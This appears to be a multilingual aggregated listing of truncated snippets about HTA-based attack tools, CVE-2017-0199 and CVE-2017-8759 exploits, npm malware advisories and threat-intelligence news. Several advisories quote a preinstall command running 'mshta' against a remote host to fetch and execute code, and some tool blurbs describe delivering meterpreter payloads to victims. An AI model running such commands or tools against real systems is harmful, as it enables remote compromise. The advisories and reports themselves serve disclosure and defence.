demiguise

Demiguise - HTA encryption tool Released as open source by NCC Group Plc - http://www.nccgroup.trust/ Developed by Richard Warren, richard dot warren at nccgroup dot trust http://www.github.com/nccgroup/demiguise Released under AGPL, see LICENSE for more information What does it do? The aim of th...

demiguise

Demiguise - HTA暗号化ツール NCC Group Plc によりオープンソースとして公開 - http://www.nccgroup.trust/ 開発者: Richard Warren, richard dot warren at nccgroup dot trust http://www.github.com/nccgroup/demiguise AGPLのもとで公開。詳細はLICENSEを参照。 これは何をするものか？ このプロジェクトの目的は、 暗号化されたHTAファイルを含む .html...

CVE-2017-0199

CVE-2017-0199 Exploit toolkit CVE-2017-0199 - v2.0 是一个方便的Python脚本，提供了一种快速有效的方式来利用Microsoft RTF RCE。它可以生成恶意RTF文件，并在无需复杂配置的情况下向受害者传递metasploit / meterpreter载荷。 发布说明： 为脚本引入了以下功能： 使用工具包生成恶意RTF文件 以微型HTA + Web服务器模式运行工具包进行利用 版本: Python 2.7.13 示例： 步骤1：使用以下命令生成恶意RTF文件并发送给受害者 语法： python...

morphHTA

免责声明 同往常一样，此代码和工具不得用于恶意目的。 由 MDSec Consulting 的 ActiveBreach 团队 Vincent Yiu 编写。允许在署名原作者的前提下修改代码。 Explorer 和 SWBemLocator COM Moniker 的研究由 @enigma0x3 完成 morphHTA 用法 : root@kitploit: usage: morph-hta.py -h --in --out --maxstrlen --maxvarlen --maxnumsplit optional arguments: -h, --help show this hel...

Microsoft-Word-CVE-2017-0199-

Microsoft-Word-CVE-2017-0199- 描述：Microsoft Word CVE-2017-0199 容易通过 HTA 处理程序遭受远程代码执行。 Microsoft Office 和 WordPad 解析特制文件的方式存在一个远程代码执行漏洞。 成功利用此漏洞的攻击者可以完全控制受影响系统。 影响：攻击者可以利用此漏洞在应用程序上下文中执行任意命令。 利用尝试失败可能导致拒绝服务条件。 厂商主页：http://www.microsoft.com 致谢：@ShadowBrokerss @EquationGroup @Petya @juansacco...

CVE-2017-0199-Fix

CVE-2017-0199 修复 通过更改 .hta 文件的默认处理程序，消除 CVE-2017-0199 执行代码的能力。通过 OLE2 COM 对象 调用的文件的默认处理程序独立于本地系统的默认应用程序存储，只能通过注册表更改。 基本逻辑漏洞 这是该漏洞的一个实际示例，并且按照我的理解进行说明。并非所有情况都遵循此模式，我的评估可能不正确。下一节中提供的修复方法在我测试过的情况下确实有效。 1. 托管在 Web 服务器上的 RTF 文档将恶意超文本应用程序 HTA 有效负载 'cat' 到其末尾。 2. 托管服务器响应对该文件的 GET 请求，并在标头中声明该内容是一个 HTA 文件...

OneLogicalMyth_Shell

OneLogicalMythShell 此 HTA Shell 旨在协助进行突破评估（breakout assessments）。我最初在一年多前构建了它，认为其他人可能会觉得它有用，因此现在将其公开。欢迎随时提交拉取请求。 功能特性 文件资源管理器 列出驱动器 - 列出主机上的所有本地驱动器。然后您可以点击驱动器号开始浏览文件夹和文件。 列出文件夹 - 在顶部输入框中输入文件夹路径并点击此按钮，将从该位置开始浏览。 用户配置文件文件夹 - 从 %userprofile% 文件夹开始浏览。 读取文件 -...

OHTS

OHTS CVE-2017-8759 | .NET Framework 远程代码执行漏洞 1. 简介 当 Microsoft .NET Framework 处理不受信任的输入时，存在一个远程代码执行漏洞。成功利用此漏洞的攻击者可以控制受影响的系统。攻击者随后可以安装程序；查看、更改或删除数据；或创建具有完全用户权限的新帐户。与拥有管理权限的用户相比，系统上配置为拥有较少用户权限的用户所受影响可能较小。 要利用此漏洞，攻击者首先需要说服用户打开恶意文档或应用程序。该安全更新通过修正 .NET 验证不受信任输入的方式来解决此漏洞。Microsoft .NET Framework...

MAL-2026-10417 Malicious code in minigptcore (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8be3fb8ddeae3078f0765ce77f9a329caacd7ee5741b2c96dcf8f613f5444ba0 On npm install, the package's preinstall script preinstall.js invokes cmd /c mshta http://fixars.top/..., causing Windows mshta.exe to fetch and...

MAL-2026-10204 Malicious code in gptcore (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c36c51510f3762d03ab5bd7132de4a65a950f410cb5771a99d4fdc9334a9c895 [email protected] declares a preinstall lifecycle script that runs exec'cmd /c "mshta http://fixars.top"' in preinstall.js. On Windows, this fires...

Gamaredon Expands Ukraine Attacks with New Malware and Cloud Service Abuse

A Russian advanced persistent threat APT group has continued to evolve and expand its malware arsenal as part of its ongoing cyber onslaught against Ukraine throughout 2025. Slovakian cybersecurity company ESET said it observed 35 distinct spear-phishing campaigns mounted by Gamaredon against new...

MAL-2026-5927 Malicious code in aillmgen (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5b303e830a204ad1ee237f0403a2844f5dce96fa3e3841392ce92d7f3f502341 On npm install, the package's preinstall hook preinstall.js runs exec'cmd /c "mshta http://fixars.top"', invoking the Windows mshta.exe binary to fet...

UAC-0247 Targets Ukrainian Clinics and Government in Data-Theft Malware Campaign

The Computer Emergencies Response Team of Ukraine CERT-UA has disclosed details of a new campaign that has targeted governments and municipal healthcare institutions, mainly clinics and emergency hospitals, to deliver malware capable of stealing sensitive data from Chromium-based web browsers and...

APT28-Linked Campaign Deploys BadPaw Loader and MeowMeow Backdoor in Ukraine

Cybersecurity researchers have disclosed details of a new Russian cyber campaign that has targeted Ukrainian entities with two previously undocumented malware families named BadPaw and MeowMeow. "The attack chain initiates with a phishing email containing a link to a ZIP archive. Once extracted, ...

PT-2026-7658

Name of the Vulnerable Software and Affected Versions XWEB Pro versions prior to 1.12.1 MSHTML affected versions not specified Description An OS command injection issue exists in XWEB Pro, allowing a user with network access to execute code remotely by injecting malicious input into the request...

Cloud Atlas activity in the first half of 2025: what changed

Known since 2014, the Cloud Atlas group targets countries in Eastern Europe and Central Asia. Infections occur via phishing emails containing a malicious document that exploits an old vulnerability in the Microsoft Office Equation Editor process CVE-2018-0802 to download and execute malicious cod...

New JS#SMUGGLER Campaign Drops NetSupport RAT Through Infected Sites

Securonix Threat Research details the complex JSSMUGGLER campaign, a three-step web attack using obfuscated JavaScript and hidden HTA files to install the NetSupport RAT on user Windows desktops, granting hackers full remote control and persistent access...

Experts Confirm JS#SMUGGLER Uses Compromised Sites to Deploy NetSupport RAT

Cybersecurity researchers are calling attention to a new campaign dubbed JSSMUGGLER that has been observed leveraging compromised websites as a distribution vector for a remote access trojan named NetSupport RAT. The attack chain, analyzed by Securonix, involves three main moving parts: An...

easysploit

This is an exploit module/toolkit targeting various platforms, including Windows, Android, Linux, MacOS, and Web applications. The primary vulnerability targeted is ms17010, specifically EternalBlue, which is a remote code execution vulnerability in Windows systems. The toolkit also includes...

Cloud Atlas seen using a new tool in its attacks

Introduction Known since 2014, Cloud Atlas targets Eastern Europe and Central Asia. We're shedding light on a previously undocumented toolset, which the group used heavily in 2024. Victims get infected via phishing emails containing a malicious document that exploits a vulnerability in the formul...